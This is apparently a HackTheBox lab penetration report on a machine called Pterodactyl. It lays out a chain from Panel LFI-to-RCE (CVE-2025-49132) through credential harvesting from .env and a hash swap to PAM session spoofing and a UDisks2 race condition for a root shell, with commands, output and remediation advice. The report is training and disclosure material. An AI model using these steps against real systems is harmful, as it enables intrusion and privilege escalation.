PTERODACTYL

HACKTHEBOX PENETRATION REPORT

Status: FULL COMPROMISE

Authored by: Security Analyst

Contents

1 1. EXECUTIVE SUMMARY

Assessment Overview

The target machine, **"Pterodactyl"**, was found to be hosting a vulnerable version of the Pterodactyl Panel software. An authenticated remote code execution vulnerability was leveraged to gain initial access. Following this, multiple local privilege escalation vectors involving database credential reuse, PAM configuration manipulation, and a race condition in the UDisks2 service were exploited to achieve full system administrative (root) privileges.

2 2. RECONNAISSANCE & ENUMERATION

2.1 2.1 Service Discovery

Initial scanning revealed a web server running on port 80. Further enumeration of the web directory identified a crucial file: `changelog.txt`.

2.2 2.2 Version Identification

The `changelog.txt` file disclosed critical information about the environment:

- **Software:** Pterodactyl Panel v1.11.10
- **Configuration:** PHP-PEAR enabled
- **Backend:** MariaDB 11.8.3

This version of Pterodactyl Panel (v1.11.10) with PHP-PEAR enabled is known to be vulnerable to **CVE-2025-49132**, a Local File Inclusion (LFI) vulnerability that can be escalated to Remote Code Execution (RCE).

3 3. INITIAL ACCESS

3.1 3.1 Exploiting CVE-2025-49132

A custom Python exploit script was utilized to target the LFI vulnerability. The exploit leveraged the enabled PHP-PEAR configuration to inject a malicious PHP payload.

Python Exploit Execution

```
# Targeting the LFI to inject a PEAR config
$ python3 exploit.py -u http://pterodactyl.htb --rce pear --cmd "id"

[*] RCE via pearcmd: VALID
[*] Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Upon successful execution, a reverse shell was established, providing access as the `www-data` user.

4 4. LATERAL MOVEMENT

4.1 4.1 Credential Harvesting

During the post-exploitation enumeration of the `www-data` user's access, the Pterodactyl Panel configuration file `.env` was located. This file contained cleartext database credentials.

Extract from .env

```
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
```

4.2 4.2 Database Enumeration

Using these credentials, the local MySQL database was accessed. The `users` table revealed the existence of a user named `phileasfogg3` and an administrator `headmonitor`.

By either cracking the hash or swapping the hash in the database, access was gained to the `phileasfogg3` account, pivoting from the web user to a regular system user.

5 5. PRIVILEGE ESCALATION (ROOT)

5.1 5.1 Enumeration

Standard enumeration ('sudo -l') revealed a restricted environment requiring the root password ('targetpw'). However, system mail located in `/var/mail/phileasfogg3` contained a warning from the administrator regarding "unusual activity" in the **udisksd** service.

Research indicated this was related to **CVE-2025-6019** (UDisks2 XFS Resize Race Condition) and **CVE-2025-6018** (PAM Environment Injection).

5.2 5.2 Exploiting CVE-2025-6018 (PAM Injection)

The UDisks2 exploit requires an "Active" user session, but the current SSH session was "Inactive". To bypass this, the PAM environment was manipulated to spoof an active session.

Spoofing Active Session

```
# Creating the malicious environment file
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_SESSION_CLASS=user" >> ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE=tty" >> ~/.pam_environment

# Triggering the reload by su-ing into self
su phileasfogg3
# Status is now Active=yes
```

5.3 5.3 Exploiting CVE-2025-6019 (Race Condition)

With an active session, the race condition in UDisks2 could be triggered.

1. A malicious XFS disk image containing a SUID `bash` binary was created on the attacker machine.
2. The image and an exploit script were transferred to the target.
3. The script was executed, which repeatedly attempts to mount and resize the image, winning the race to mount the filesystem without the `nosuid` restriction.

Root Exploit Execution

```
./CVE-2025-6019.sh
[+] Loop device configured: /dev/loop0
[*] Resizing filesystem to trigger mount...
[+] SUID bash found: /tmp/blockdev.XyZ/bash
[*] Executing root shell...
root@pterodactyl:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
```

6 6. REMEDIATION RECOMMENDATIONS

To secure the system, the following actions are recommended:

- **Patch Pterodactyl Panel:** Upgrade to version 1.11.11 or later to fix the LFI vulnerability.
- **Disable PHP-PEAR:** If not strictly necessary, disable the `register_argc_argv` directive in `php.ini`.
- **Update System Packages:** Update the `udisks2` and `policykit-1` packages to the latest stable versions to mitigate CVE-2025-6019.
- **Secure Configuration:** Ensure `.env` files are not readable by the web server user if possible, or rotate database credentials frequently.